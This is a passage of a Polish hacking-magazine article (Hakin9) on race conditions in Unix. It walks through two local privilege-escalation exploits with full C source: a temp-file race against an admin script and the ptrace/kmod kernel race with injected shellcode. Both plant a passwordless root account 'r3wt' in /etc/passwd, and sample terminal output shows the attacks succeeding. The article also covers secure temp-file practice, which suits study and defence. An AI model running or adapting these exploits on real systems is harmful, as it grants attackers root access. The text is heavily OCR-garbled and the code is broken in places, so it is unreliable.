tor uzytkownika (UID) jest wiekszy
badz réwny 1000 (od tego numeru
zaczynajg sie konta zwyktych uzyt-
kownikéw), wéwczas skrypt spraw-
dza, czy w katalogu domowym uzyt-
kownika znajduje sie plik .ircrc. Je-
sli tak, traktuje to jako zelazny do-
wod na to, ze uzytkownik korzystat
z IRC-a. Jego konto jest zatem blo-
kowane poprzez zamiane nazwy po-
wioki uzytkownika na /etc/noentry.
Po ewentualnej modyfikacji, kolejne
wiersze zapisywane sg w pliku tym-
czasowym, ktéry na koniec przeno-
szony jest w miejsce pierwotnego pli-
ku /etc/passwd.

Przygladajac sie poczatkowym
poleceniom skryptu wida¢, ze tym
razem administrator starat sie za-
dbac o bezpieczenstwo (o tym, czy
mu sie udato — za chwile). Ustawia-
na jest bezpieczna wartos¢ umask
(077), co ma na celu ochrone pli-
kéw tworzonych w katalogu /tmp
przed dostepem ze strony nieupraw-
nionych uzytkownikow. Skrypt za-
bezpiecza sie takze przed atakiem
przez wczesniejsze utworzenie do-
wigzania symbolicznego (czyli przed
tym, co byto zgubne dla win2iso)
— plik /tmp/denyirc.$$ jest przezor-
nie usuwany poleceniem rm -f.

Wiemy juz zatem, ze atak po-
przez utworzenie tysiecy dowia-
zan symbolicznych nie zda egza-
minu — najwazniejsze z nich (odpo-
wiadajgce PID-owi procesu denyirc)
zostatoby usuniete. Zauwazmy jed-
nak, ze pomiedzy usunieciem pliku
a utworzeniem go na nowo (co na-
stepuje przy pierwszym wykonaniu
polecenia echo $n >> sTMPFILE) UPtY-

Listing 9. denyirc — blokada
kont uzytkownikéw IRC-a

#!/bin/sh
TMPFILE=/tmp/denyirc.$$
umask 077

#plik ty 'y
rm -f S$STMPFILE
read n;
uid=‘echo $n | awk -F: \
'{print $3}'"
# Sprawdzenie, czy UID >= 1000

if [ $uid -ge 1000 ]; then
home="echo $n | awk -F: \
"{print $6}'"
if [ -f Shome/.ircrc ]; then

ownikKka

1="echo $n | sed -e 's# .
[*:]\+$#/etc/noentry#'”
fi
fi
echo $n >> $TMPFILE

< /etc/passwd

# docelowe
mv STMPFILE /etc/passwd

wa nieco czasu — a dokfadniej tyle,
ile potrzeba na otworzenie pliku pas-
swd, wczytanie pierwszego wiersza
i przekonanie sie, ze nie wymaga
on modyfikacji (poniewaz tradycyj-
nie pierwszy wiersz w passwd odpo-
wiada kontu roota). Potraktujemy to
jako zaproszenie do wziecia udzia-
tu w wyscigu, zreszta o nie byle jakg
stawke — mozliwos¢ zapisu do pliku
/etc/passwd.

Moglibysmy utworzy¢ wtasny plik
/tmp/denyirc.$$ z taka zawarto$cia,
jaka najchetniej widzielibySmy w pli-
ku /etc/passwd (czyli z wpisem roota
bez hasta). Sg jednak dwa problemy:
po pierwsze — nie znamy nazwy pli-
ku, bo jednym z jej sktadnikow jest
PID procesu denyirc; po drugie — plik
musiatby zosta¢ stworzony w czasie
miedzy wykonaniem polecenia rm -f
aecho $n >> stMprILE. MusielibySmy
zatem wiedzie¢, kiedy skrypt denyirc

#!/bir

sleep 5

Listing 8. /etc/noentry — komunikat dla tamigcych regulamin

echo "Konto zostato zablokowane wskutek naruszenia regulaminu."

echo "Prosze skontaktowaé¢ sie z administratorem, czyli ze mna."
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Listing 10. denyirc_exploit.c

#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/stat.h>
#ifndef LINK MAX
#define LINK MAX 32767
#endif

int main()

int fd;

char s[PATH _MAX+1];

int pid;

nlink t nlink;

struct stat st;

DIR *dp;

struct dirent *dirp;

/* Utworzenie pliku-sptawika */
("

fd = open

/* M odt

for (pid = 1; pid < LINK MAX; pid++)
link ("/tmp/fl", s);

/* Katalog y

dp = opendir ("/proc");

fstat (fd, &st);

nlink = st.st nlink;

printf ("Obserwuje splawik...\n");

while (nlink == st.st _nlink
fstat (fd, é&st);

while ((dirp = readdir (dp)) !'= NULL)
if (isdigit(dirp->d name[0]))

if (dirp == NULL)
printf ("Sorry, nic z tego.\n")
exit (1);

am roota! */

printf ("Gotowe!\n");

return 0;

sprintf (s, "/tmp/denyirc.%d", pid);

/proc przyda sie pdzniej */

if (access(s, F_OK) !=0)
/* Plik nie istnieje? Bingo! */
fd = open(s, O CREAT O _WRONLY,
break;

"/tmp/flt", O CREAT | O WRONLY, 0644);

cja dowigzan (przynet) */

/* Poszukiwanie /tmp/denyirc.x z pomoca /proc */

sprintf (s, "/tmp/denyirc.%s", dirp->d_name);

write (fd, (void *)"r3wt::0:0:r3wt:/:/bin/sh\n", 25);

zostat uruchomiony i jaki jest identy-
fikator jego procesu.

W jaki sposob mogliby$smy spraw-
dzi¢, czy skrypt zostat uruchomiony?
Najprostsze co przychodzi do gtowy,
to cykliczne wywotywanie polecenia
ps a | grep denyirc;jakjednakrﬂe-
trudno zgadnag, rozwigzanie to by-
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toby zbyt czasochtonne. Jesli nawet
udatoby sie nam w ten sposéb wy-
kry¢ uruchomienie skryptu, to zanim
zdazylibysmy podja¢ jakakolwiek ak-
cje, bytby on juz zakohczony.
Zwrocmy jednak uwage, ze nie-
koniecznie musimy wykrywa¢ sam
fakt uruchomienia skryptu — row-

Sytuacje wys$cigu

nie dobrze moglibySmy sprawdzic,
czy wystapit jaki§ charakterystycz-
ny efekt jego dziatania. Zauwazyli-
Smy, ze jedng z pierwszych czynno-
Sci, jakie wykonuje skrypt, jest ase-
kuracyjne usuniecie pliku tymcza-
sowego (/tmp/denyirc.$8$). Gdyby-
Smy znali konkretng nazwe pliku,
moglibysmy wychwyci¢ moment je-
go usuniecia, na przyktad stosujac
petle while [ -f /tmp/denyirc.$$ 1.
Wykonuje sie ona znacznie szybciej
niz wspomniane wczesniej cykliczne
uruchamianie ps.

Kluczowy jest zatem problem
nazwy pliku, ktérej nie znamy, po-
niewaz jej czescig jest PID procesu
denyirc. Takze w tym przypadku
mozemy jednak uciec sie do meto-
dy sitowej. W pierwszej kolejnosci
przygotujemy plik, ktéry petni¢ be-
dzie role sptawika, o nazwie /tmp/fit
(z ang. float — sptawik). Nastepnie,
na podobnej zasadzie jak wczes$niej,
stworzymy do niego tysigce dowia-
zan o nazwach odpowiadajacych ko-
lejnym numerom PID — jednak tym
razem bedg to dowigzania twarde,
a nie symboliczne (patrz Ramka).
Beda one peini¢ role przynet dla
skryptu denyirc.

Poniewaz tym razem zalezy nam
na wydajnosci rozwigzania, zrealizu-
jemy je jako program w C. Utworze-
niem sptawika i przynet zajmie sie
nastepujacy fragment kodu:

fd = ("/tmp/flt",
O CREAT | O WRONLY, 0644);
for (pid = 1; pid < LINK MAX; pid++) f
(s, "/tmp/denyirc.%d", pid);
link("/tmp/fl", s);

Stata 11vk _ Max okresla ile dowigzan
moze mie¢ pojedynczy plik. Zwykle
ma ona wartos¢ 32767, moze sie
jednak zdarzy¢, ze nie jest wcale
zdefiniowana, poniewaz w standar-
dzie POSIX zostata uznana za statg
opcjonalng. W takim wypadku musi-
my zdefiniowa¢ jg samodzielnie.
Przynety stanowig putapke na
skrypt denyirc, ktéra umozliwi nam
zarejestrowanie momentu jego uru-
chomienia. Usuwajgc asekuracyjnie
plik tymczasowy, denyirc usunie jed-
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ng z przynet. Zmniejszy sie woéwczas
liczba dowigzan pliku /tmp/flt — a to
mozemy wykryé wywotujac cyklicznie
funkcje fstat. Funkcja ta zwraca in-
formacje o pliku, miedzy innymi liczbe
twardych dowigzan. Jesli wiec przy
ktéryms$ z kolei wywotaniu liczba do-
wigzan bytaby mniejsza niz poprzed-
nio, oznaczatoby to niezbicie, ze jed-
no z nich zostato wtasnie usuniete.

fstat (fd, &st);

nlink = st.st_nlink;

(nlink == st.st_nlink
fstat (fd, &st);

Petla wni1e konczy sie, gdy liczba
dowigzan zwrdcona w strukturze st
rézni sie od wczesniej zapamietanej
liczby dowigzanh zapisanej w zmien-
nej n1ink. Wiemy juz zatem, ze jedna
z przynet zostata potknieta — musi-
my jednak wiedzie¢ takze ktora, by-
$my mogli na nowo utworzy¢ plik o
takiej samej nazwie i umiesci¢ w nim
magiczny zapis, dajagcy nam roota
bez hasta. MoglibySmy sprawdzac
nazwy plikéw /tmp/denyirc.x o ko-
lejnych numerach, az trafimy na plik
nieistniejacy — jest to jednak rozwia-
zanie stanowczo zbyt czasochtonne
i miatoby szanse powodzenia tylko
w sytuacji, gdyby identyfikator pro-
cesu denyirc miat bardzo matg war-
tos¢. Wezmy jednak pod uwage fakt,
ze usuniety plik miat w nazwie PID
procesu denyirc. Wystarczy zatem,
ze poszukiwania pliku ograniczymy
do PID-6w wszystkich dziatajacych
procesow odczytanych z katalogu
/proc — to znaczaco zwieksza szan-
se powodzenia operacji.

dp = opendir("/proc");
((dirp = readdir(dp)) != NULL) {
(isdigit (dirp->d_name[0])) {
(s, "/tmp/denyirc.%s",

dirp->d_name) ;

(access (s, F_OK) != 0) {
fd = (s, O_CREAT |

O WRONLY, 0644);

break;

W systemie plikow /proc przechowy-
wane sg informacje o systemie ope-
racyjnym oraz dziatajgcych w nim
procesach. Kazdy uruchomiony pro-
ces ma przypisany katalog w /proc (o
nazwie takiej, jak jego numer PID),
w ktérym znajdujg sie pliki z informa-
cjami o procesie. Przyktadem pro-
gramu korzystajacego z informac;ji
zapisanych w /proc jest dobrze zna-
ne polecenie ps.

Po otworzeniu systemu plikow
/proc odczytujemy po kolei nazwy
znajdujacych sie w nim plikow. Je-
$li nazwa rozpoczyna sie od cyfry
(sprawdzamy to funkcjg isdigit),
to uznajemy jg za PID dziatajgce-
go procesu. Sprawdzamy, czy ist-
nieje plik /tmp/denyirc.x odpowia-
dajacy temu numerowi — jesli nie
istnieje, to znaczy, ze zostat przed
chwilg usuniety przez skrypt de-
nyirc. Tworzymy zatem plik o ta-
kiej samej nazwie i otwieramy go
do zapisu.

Pozostaje jeszcze tylko wpisanie
do pliku magicznego wiersza:

(fd, (void *) .
"r3wt::0:0:r3wt:/:/bin/sh\n", 25);

Przy odrobinie szczescia zdazy-
my wykona¢ wszystkie te opera-
cje zanim denyirc rozpocznie pisa-
nie do pliku tymczasowego. W rezul-
tacie na poczatku pliku znajdzie sie
nasz zapis r3wt, a po nim zawarto$¢
/etc/passwd wpisana przez denyirc.
Kompletny eksploit przedstawiony
jest na Listingu 10.

Przystepujemy wiec do dziatania:

devil@hell$ ./denyirc_exploit

Czekamy cierpliwie, az zostang
utworzone wszystkie dowigzania.

Obserwuje splawik...

Nastepnie jeszcze bardziej cierpli-
wie czekamy, az administrator ze-
chce uruchomi¢ skrypt denyirc. Przy
odrobinie szczescia za jakis czas zo-
baczymy komunikat:

Gotowe!
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Dowiazania twarde i do-

wigzania symboliczne

W uniksowych systemach plikéw wy-
stepujg dwa rodzaje dowigzan: Dowig-
zanie twarde (ang. hard link) mozna ro-
zumie¢ jako nazwe przypisang do blo-
kéw danych na dysku tworzacych plik.
Kazdy plik ma przynajmniej jedno do-
wigzanie twarde. Wszystkie dowigza-
nia pliku sg réwnowazne, zadne z nich
nie jest wyrdznione jako oryginalne.
Z kolei dowigzanie symboliczne (ang.
symbolic link) z punktu widzenia sys-
temu plikéw jest zwyktym plikiem tek-
stowym, zawierajagcym nazwe pliku do-
celowego. O tym, ze plik jest traktowa-
ny jak dowigzanie, decyduje przypisa-
ny mutyp s 1rLnk. W tym przypadku
zawsze mozna wskazac plik oryginalny
oraz jego dowigzania.

Sprawdzmy, czy plan faktycznie sie
powiodt:

devil@hell$ head -2 /etc/passwd
r3wt::0:0:r3wt:/:/bin/sh
root:x:0:0:root:/root:/bin/bash

Gratulacje, misja wykonana. Jej suk-
ces w duzej mierze wynikat z prze-
wagi szybkosci dziatania programu
napisanego w C nad skryptem po-
wioki.

Oczywiscie, w wielu przypad-
kach przedstawiony powyzej plan
sie nie powiedzie — na przyktad wte-
dy, gdy PID procesu denyirc prze-
kracza wartos¢ vink _max. Coz, zwy-
ciestwo w wyscigu wymaga zawsze
odrobiny szczescia; pamietajmy jed-
nak, ze bardzo czesto szczesciu
mozna pomac, na przyktad wykorzy-
stujac metode sitowa (lepiej jednak
nie stosowac tej zasady w codzien-
nym zyciu).

W zaprezentowanych przykia-
dach korzystania z plikow tymcza-
sowych zatozyliSmy, ze zrédtem nie-
bezpieczenstw sa skrypty, ktére na
wiasny uzytek napisat administra-
tor systemu. W rzeczywistosci bte-
dy prowadzace do sytuacji wysci-
gu odnajdywane sg gtéwnie w pro-
gramach dostepnych dla uzytkowni-
kéw, nierzadko dziatajacych z pod-
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Funkcja ptrace
Funkcja systemowa ptrace umozliwia
procesowi $ledzenie dziatania innego
procesu. Proces $ledzacy ma peing
kontrole nad $ledzonym: moze wstrzy-
mywac i wznawiac jego prace oraz mo-
dyfikowac pamiec i rejestry.

Dokfadny opis dziatania funkc;ji
ptrace mozna znalez¢ w jej dokumen-
tacji systemowej (ptrace (2)).

Artykut pochodzi z czasopisma Hakin9. Do sciggniecia bezptatnie ze strony: http://wle.hakinQ.org

Bezptatne kopiowanie i rozpowszechanie artykutu dozwolone pod warunkiem zachowania jego obecnej formy i tresci.

wyzszonymi uprawnieniami (SUID).
Zasady ich wykorzystywania sg jed-
nak takie same.

Z drugiej strony, warto miec
oczy szeroko otwarte. W dosy¢ zna-
nej ksigzce Garfinkela i Spafforda
Bezpieczenstwo w Uniksie i Inter-
necie zamieszczony zostat skrypt
stuzacy do wykrywania nieuzywa-
nych kont, tworzacy pliki tymczaso-
we w niebezpieczny sposoéb (sche-
mat /tmp/costam$$). Co wiecej, au-
torzy sugeruja, ze skrypt taki mogt-
by by¢ uruchamiany regularnie co
miesigc (mowa tu o drugim wydaniu
tej ksigzki, ktére ma juz swoje lata;
by¢ moze w kolejnym wydaniu auto-
rzy poprawili bezpieczenstwo skryp-
tu, na przyktad stosujgc polecenie
mktemp). Oczywiscie bytoby to bar-
dzo korzystne dla hakera, ktéry miat-
by dzieki temu mozliwos¢ precyzyj-
nego ustalenia terminu ataku. By¢
moze planujgc wtamanie do syste-
mu, warto zainteresowac sie ksiego-
zbiorem jego administratora (pole do
popisu dla socjotechnikow).

Bezpieczne
korzystanie z plikow
tymczasowych

Bezpieczne korzystanie z plikow
tymczasowych w programie wyma-
ga przestrzegania dwoch podsta-
wowych zasad. Po pierwsze — na-
zwa pliku musi byé nieprzewidywal-
na. Niedopuszczalne jest zatem two-
rzenie jej na podstawie identyfika-
tora procesu, aktualnego czasu itp.
W systemie operacyjnym dostep-
nych jest zwykle kilka funkcji, ktore
tworzg nazwe pliku tymczasowego
— za najbezpieczniejszg uznawana
jest mkstemp (patrz Ramka).
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Po drugie — dostepem do pli-
ku powinien dysponowa¢ wytgcz-
nie proces, ktéry go utworzyt. Nale-
zy w tym celu stosowac bezpieczng
wartos¢ umask (np. 077). Jesli jest
to mozliwe, pliki tymczasowe powin-
ny by¢ tworzone w katalogu innym
niz /tmp, na przyktad w zatozonym
na potrzeby programu podkatalogu
w domowym katalogu uzytkownika
uruchamiajacego program.

Specjalista w dziedzinie bezpiecz-
nego programowania, Matt Bishop,
podaje nastepujacy przepis na korzy-
stanie z pliku tymczasowego:

» stworzenie pliku z dostepem do
odczytu i zapisu,

* usuniecie pliku (przy pomocy fun-
kqiunlin@,

« zapis danych do pliku,

» ustawienie wskaznika na poczat-
ku pliku (funkcjg seex lub rewind),

* odczyt danych z pliku,

« zamkniecie pliku .

Sztuczka polega na tym, ze plik zo-
staje usuniety (funkcjg un1ink) zaraz
po utworzeniu. W efekcie plik zni-
ka z systemu plikdow, natomiast mo-
ze by¢ nadal uzywany w programie,
ktéry go otworzyt. Faktyczne usunie-
cie pliku nastepuje po jego zamknie-
ciu. Wedtug takiego wiasnie sche-
matu dziata funkcja tmprile, zaleca-
na do obstugi plikow tymczasowych
przez standard POSIX.

Do tworzenia plikow tymczaso-
wych w skryptach powtoki stuzy pole-
cenie mktemp. Tworzy ono plik o ograni-
czonych prawach dostepu i podaje na
wyjsciu jego nazwe. Gdyby zastoso-
wac je w skrypcie win2iso, odpowiedni
fragment miatby nastepujaca postac:

TMPFILE="mktemp ™ || exit 1
tr WIN ISO < $1 > $TMPFILE
mv $TMPFILE $1

Pliki tymczasowe oraz konstrukcje
warunek-akcja (TOCTTOU) sg naj-
bardziej powszechnymi rodzajami
sytuacji wyscigu. Jak juz jednak po-
wiedzieliSmy, do sytuacji wyscigu
moze dojs¢ zawsze, gdy wiecej niz
jeden proces uzyskuje dostep do
tych samych zasobéw systemu.

Sytuacje wys$cigu

Sytuacja wyscigu
— przyktad z zycia

W styczniu biezacego roku w jadrze
Linuksa zostata znaleziona luka, kt6-
rg nazwano ptrace/kmod, pozwala-
jaca uzytkownikowi lokalnemu prze-
ja¢ uprawnienia roota. Jest ona bar-
dzo ciekawym przyktadem sytuacji
wyscigu. W marcu wykorzystano jg
do dosc¢ gtosnego witamania na ser-
wer FTP z oprogramowaniem GNU
(prowadzac do sporego zamieszania
z sumami kontrolnymi przechowywa-
nych na nim plikéw). Luka wystepuje
w jadrach Linuksa z gatezi 2.2 wcze-
Sniejszych niz 2.2.25 oraz z gatezi
2.4 wczesniejszych niz 2.4.20.

Mowiac w skrécie, luka ta jest na-
stepstwem niezbyt bezpiecznej me-
tody tadowania modutu jadra na zg-
danie procesu. Gdy proces uzytkow-
nika chce skorzysta¢ z funkcji sys-
temu, ktéra realizowana jest przez
modut, woéwczas jadro tworzy pro-
ces potomny, ustawia jego efektyw-
ny identyfikator uzytkownika na zero
oraz uruchamia modprobe. Niebezpie-
czenstwo wynika z faktu, iz w cza-
sie pomiedzy utworzeniem procesu
a zmiang jego identyfikatora uzyt-
kownika inny proces moze rozpo-
czaC sledzenie procesu przy pomo-
cy funkcji ptrace (patrz Ramka). Na-
stepnie proces sledzacy moze wsz-
czepi¢ do Sledzonego dowolny kod,
ktéry zostanie wykonany z uprawnie-
niami roota.

Skoro wiemy na czym polega nie-
bezpieczenstwo oraz w jaki sposéb
mozna je wykorzystaé, nic nie stoi na
przeszkodzie, by zastosowac te wie-
dze w praktyce. Napiszemy zatem
eksploita luki ptrace/kmod.

Zacznijmy od ogdlnego planu
dziatania eksploita:

* sprowokowanie proby zatadowa-
nia modutu,

* rozpoczecie Sledzenia procesu,

* wszczepienie do procesu wia-
snego kodu.

Sprowokowanie préby
zatadowania modutu

Pierwszy punkt planu mozna wyko-
na¢ na wiele sposobéw — mowiac
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w skrécie chodzi o to, by program
wywotat funkcje, ktéra realizowana
jest przez modut. W kilku istniejg-
cych wersjach eksploita ptrace/kmod
zazwyczaj nastepuje to wskutek wy-
wotania funkcji socket z nietypowg
rodzing adreséw (statg ar xxx), na
przykfad:

(AF_SECURITY, SOCK_STREAM, 1);

By utworzy¢ gniazdo rodziny adresow
AF _SECURITY, jgdro musi zatadowac
modut net-pf-14. W miejsce ar _ secu-
rITY mozna wstawi¢ dowolng rodzine
adreséw obstugiwang przez modut
(np. ar _ swa). To, ze wybor padt wia-
$nie na aArF _ securiTY, mozna potrak-
towac jako swoistg ironie.

Do wywotania funkcji socket be-
dziemy musieli utworzy¢ proces po-
tomny. Wywotanie tej funkcji pota-
czone z probg zatadowania modu-
tu zatrzymuje dziatanie procesu (do
chwili powrotu z funkcji), zatem po-
zostatg czes¢ planu musimy zreali-
zowac rownolegle — najlepiej w proce-
sie macierzystym. Przy okazji funkcja
fork ZWroci procesowi macierzyste-
mu wartos¢ PID potomka, ktéra ode-
gra znaczacq role w dalszym dziata-
niu eksploita. Tworzymy zatem nowy
proces, ktérego jedynym celem jest
wywotanie funkcji socket:

if ((pid = fork()) == 0) {
socket (AF_SECURITY, SOCK_STREAM, 1);

else {

Zaraz po utworzeniu procesu po-
tomnego jadro tworzy kolejny pro-
ces, w ktérym uruchomiony bedzie
program modprobe. Ten wiasnie pro-
ces ma zosta¢ naszg ofiarg, sle-
dzong przy pomocy funkcji ptra-
ce. By rozpoczgé $ledzenie proce-
su musimy zna¢ jego PID. Ponie-
waz w Linuksie (jak réwniez w wielu
innych systemach) PID-y przydzie-
lane sa sekwencyjnie, najprawdo-
podobniej PID procesu-ofiary be-
dzie o 1 wiekszy od PID-u utworzo-
nego przez nas potomka, ktéry za-
chowany jest w zmiennej pid. Prze-

widywany identyfikator ofiary zapi-
Szemy W zmiennej victim:

victim = pid+l;

Rozpoczecie sledzenia
procesu

JestedSmy gotowi do rozpoczecia
kolejnej czesci planu, czyli Sledze-
nia procesu-ofiary. Wywotamy w tym
celu funkcje ptrace z argumentem
PTRACE _ATTACH. Powodzenie planu
zalezy od tego, czy uda nam sie wy-
wotaé te funkcje w odpowiedniej
chwili, czyli gdy proces jest juz utwo-
rzony, lecz jego UID nie zostat jesz-
cze zmieniony na zero. To typowa sy-
tuacja wyscigu, w ktérej mozemy za-
stosowaé metode sitowa, czyli wywo-
tywacé funkcje ptrace az do skutku.

do
err = (PTRACE_ATTACH,
victim, 0, 0);
while (err == -1 && errno == ESRCH);

W przypadku btedu funkcja ptrace
zwraca warto$é -1, oraz ustawia
zmienng errno. Jesli wystapi btad
ESRCH, Oznhacza to, ze proces O po-
danej wartosci PID nie istnieje, czy-
li najprawdopodobniej wywotalismy
funkcje zbyt wczesnie — mozemy za-
tem ponowi¢ prébe. Z kolei wystapie-
nie btedu errru $wiadczy o zbyt poz-
nym wywotaniu funkgcji, gdy identyfi-
kator uzytkownika procesu zostat juz
zmieniony na zero i $Sledzenie jest za-
bronione. Ten btad oznacza, nieste-
ty, niepowodzenie eksploita i wymu-
sza zakonczenie programu (co jed-
nak nie oznacza fiaska catej operacji,
ale o tym pozniej).

Po wywotaniu ptrace (PTRACE _
ATTACH, ...) proces $ledzony przery-
wa prace, jednak nie musi to nasta-
pi¢ natychmiast. Wywotujemy zatem
funkcje wait, aby zaczekaé na fak-
tyczne wstrzymanie pracy Sledzone-
go procesu.

wait (NULL) ;

Za chwile rozpoczniemy realiza-
cje ostatniego etapu naszego pla-
nu, polegajacego na umieszczeniu
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Funkcje obstugi plikéw

tymczasowych

Nastepujace funkcje zwracajg nazwe
lub wskaznik do pliku tymczasowe-
g0. mktemp, mkstemp, tmpnam, temp-
nam i tmpfile. Nie wszystkie z nich sg
implementowane w sposob bezpiecz-
ny — zdarza sie, ze w niektérych sys-
temach funkcja mktemp tworzy nazwe
pliku w oparciu o identyfikator proce-
su. Przed skorzystaniem z takiej czy in-
nej funkcji warto zapoznac sie z jej do-
kumentacjq (man 3 nazwa funkcji),
w ktdrej mozna zwykle znalez¢ infor-
macje na temat bezpieczenstwa jej za-
stosowania.

Zasadniczo wystarczy zapamie-
ta¢, by korzysta¢ wytacznie z funk-
Cji mkstemp (zwraca nazwe pliku) lub
tmpfile (zwraca wskaznik do pliku).

w pamieci procesu witasnego kodu.
Przedtem musimy jeszcze tylko za-
trzymac proces sledzony przed wy-
konaniem funkcji systemowej lub tuz
po nim. Wywotujemy funkcje ptrace
Z argumentem PTRACE _ SYSCALL!

(PTRACE_SYSCALL,

victim, 0, 0);

Nastepnie ponownie wywotujemy
funkcje wait —w tym samym celu, co
poprzednio.

Wszczepienie do procesu
witasnego kodu.

Przystepujemy do witasciwego ata-
ku, czyli zmiany kodu procesu. Kod
musimy  przygotowa¢ zawczasu
w postaci ciggu instrukcji maszyno-
wych. Mozemy skorzysta¢ z gotowca
— fragmenty kodu wykonujace rézne
operacje (jak choc¢by uruchomienie
powtoki badZz zmiana praw dostepu
do pliku) mozna bez trudu znalezé
w Internecie (na przykfad na stronie
http://www.shellcode.com.ar). W na-
szym eksploicie zastosujemy kod do-
pisujacy do pliku /etc/passwd wiersz
r3wt::0:0::/:/bin/sh

static char code[] =
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\ (.
xEF\xf£\x31\xdb\xb3\x35\x01\xfb"
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Listing 11. ptrace_kmod_exploit.c

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ptrace.h>
#include <linux/user.h>

/* Kod dopisujacy do /passwd wiersz "r3wt::0:0::/:/bin/sh" */

static char code]

"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb"
"\x30\xc0\x88\x43\x0b\x31\xc9\x66\xb9\x41\x04\x31\xd2\x66\xba\xad"
"\x01\x31\xc0\xb0\x05\xcd\x80\x89\xc3\x31\xcI\xb1\x41\x01\xf9I\x31"
"\xd2\xb2\x15\x31\xc0\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80/etc"
"/passwd\x01r3wt::0:0::/:/bin/sh\x0a";

int main()

pid t pid;
if ((pid = fork()) == 0) {

Y tanie powoduje uruchomienie modprobe */
socket (AF_SECURITY, SOCK_STREAM, 1);

else
/* Rodzic */
int victim = pid + 1; /* Przewidywany PID ofiary */
int err, 1i;
struct user regs_struct regs; /* Rejestry */

unsigned long *addr;

signal (SIGCHLD, sigchld);

/* Préba Sledzenia ofiary */

do

err = ptrace (PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1) | /* Préba nieudana */

printf ("Porazka...\n");

exit(1);
/* Oczeki > na sygnat od potc */
wait (NULL) ;
/* Zatrzy ie przed fur ja systemowa */

ptrace (PTRACE_SYSCALL, victim, 0, 0);

/* Oczeki

wait (NULL) ;

ie na sygnai od potc

/* Przeczytanie re Sledzonego procesu */

ptrace (PTRACE_GETREGS, victim, NULL, &regs);

)

/

/* Wszczep ie kodu do ofia

ry
for (i = 0; 1 < sizeof(code); 1 += 4)

ptrace (PTRACE _POKETEXT, victim, regs.eip+i, *(int*) (code+i));
/* Koniec $ledzenia */
ptrace (PTRACE_DETACH, victim, 0, 0);
printf ("Czyzby sukces?\n");

return 0;

HakinS Nr 3

Sytuacje wys$cigu

"\x30\xc0\x88\x43\x0b\x31\xc9I\x66\
xb9\x41\x04\x31\xd2\x66\xba\xad"
"\x01\x31\xc0\xb0\x05\xcd\x80\x89\
xc3\x31\xc9\xb1\x41\x01\xf9\x31"
"\xd2\xb2\x15\x31\xc0\xb0\x04\xcd\
x80\x31\xc0\xb0\x01\xcd\x80/etc"
"/passwd\x01r3wt::0:0::/:/bin/sh\x0a";

Kod musi zosta¢ umieszczony w ta-
kim miejscu w pamieci procesu, by
zostat wykonany natychmiast — czy-
li w aktualnej pozycji wskaznika in-
strukcji (rejestr EIP). Wartosci reje-
strow procesora sledzonego proce-
su mozemy uzyskac wywotujac funk-
Cje ptrace z argumentem PTRACE _
GETREGS.

2ce (PTRACE_GETREGS,

victim, NULL, &regs);

Warto$¢ wskaznika instrukcji zapisa-
na jest w polu eip struktury regs. Trak-
tujemy te wartos¢ jak adres, pod kt6-
rym zapiszemy przygotowany wcze-
$niej kod (umieszczony w tablicy co-
de). Po raz kolejny postuzymy sie funk-
Cja ptrace, tym razem z argumen-
tem prrace pokerExT. Argument ten
umozliwia wpisanie do pamieci proce-
su jednego stowa; by wpisa¢ caty kod,
musimy wywota¢ funkcje w petli.

for (i = 0; 1 < sizeof(code); 1 += 4)
ace (PTRACE_POKETEXT, victim,

regs.eip+i, *(int*) (code+i));

Aby skopiowany w ten sposéb kod
zostat wykonany, $ledzony proces
musi wznowi¢ prace — w tym celu
wywotujemy funkcje ptrace z argu-
mentem prrace  peETacH. Powoduje to
zakonhczenie Sledzenia procesu i po-
zwala mu kontynuowa¢ dziatanie.

2ce (PTRACE_DETACH,

victim, 0, 0);

Efekt naszej pracy, czyli komplet-
ny eksploit, przedstawiony jest na
Listingu 11. Zasadniczo jest on
uproszczongwersjgnajbardziejzna-
nego eksploita luki ptrace/kmod,
napisanego przez Wojciecha Pur-
czynskiego. Zachecam czytelnikow
do zapoznania sie zoryginatem, jest
on dostepny pod adresem htip://

www. hakinS.org
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packetstormsecurity.nl/0304-exploits/ptrace-
kmod.c.

Nie pozostaje nic innego, jak tylko kompilacja i uru-
chomienie eksploita. Niestety, istnieje spore prawdopo-
dobienstwo, ze efekt uruchomienia bedzie nastepujacy:

devil@hell$ ./ptrace kmod exploit

Porazka...

Porazka jest w wiekszosci przypadkow skutkiem zbyt
pbznego wywotania ptrace (PTRACE _ATTACH, ...). NiC
nie stoi jednak na przeszkodzie, by sprébowaé po-
nownie. Stosujgc metode sitowg, mozemy uruchomié
eksploit w petli:

devil@hell$ false; while [ $? -ne 0 ];

do ./ptrace kmod_exploit; done

W parametrze powtoki s> zapisana jest warto$¢ zwroé-
cona przez wywotany ostatnio program. W przypadku
btedu ptrace kmod exploit zwraca 1, natomiast w ra-
zie powodzenia — 0. Petla konczy sie, gdy s» ma war-
tos¢ 0; eksploit jest zatem wykonywany az do skutku:

Porazka...
Porazka...
Porazka...

Czyzby sukces?

Przekonajmy sie, czy faktycznie zadanie zostato wy-
konane:

devil@hell$ tail -1 /etc/passwd
r3wt::0:0::/:/bin/sh

Luka ptrace/kmod jest przyktadem sytuacji wyscigu o wie-
le bardziej wysublimowanej niz typowe btedy tego rodza-
ju. Na jej przyktadzie wida¢, ze do sytuacji wyscigu moze
doj$¢ w zupetnie niespodziewanych okolicznosciach..

Podsumowanie

Odpowiedzialno$¢ za luki bezpieczenstwa wystepuja-
ce w programach ponoszg ich tworcy, czyli projektan-
ci i programisci. Warunkiem koniecznym dla uzyskania
pozadanego poziomu bezpieczenstwa programu jest
przestrzeganie ustalonych zasad bezpieczenego pro-
gramowania oraz stosowanie wypracowanych i spraw-
dzonych metod realizacji okreslonych zadan (na przy-
ktad tworzenie plikow tymczasowych funkcjg tmpfile).

W pewnym stopniu zagrozeniu sytuacjami wyscigu
moze przeciwdziataé administrator systemu poprzez
skonfigurowanie systemu w sposdb bardziej restrykcyj-
ny — na przyktad obnizenie limitu liczby dowigzan pliku
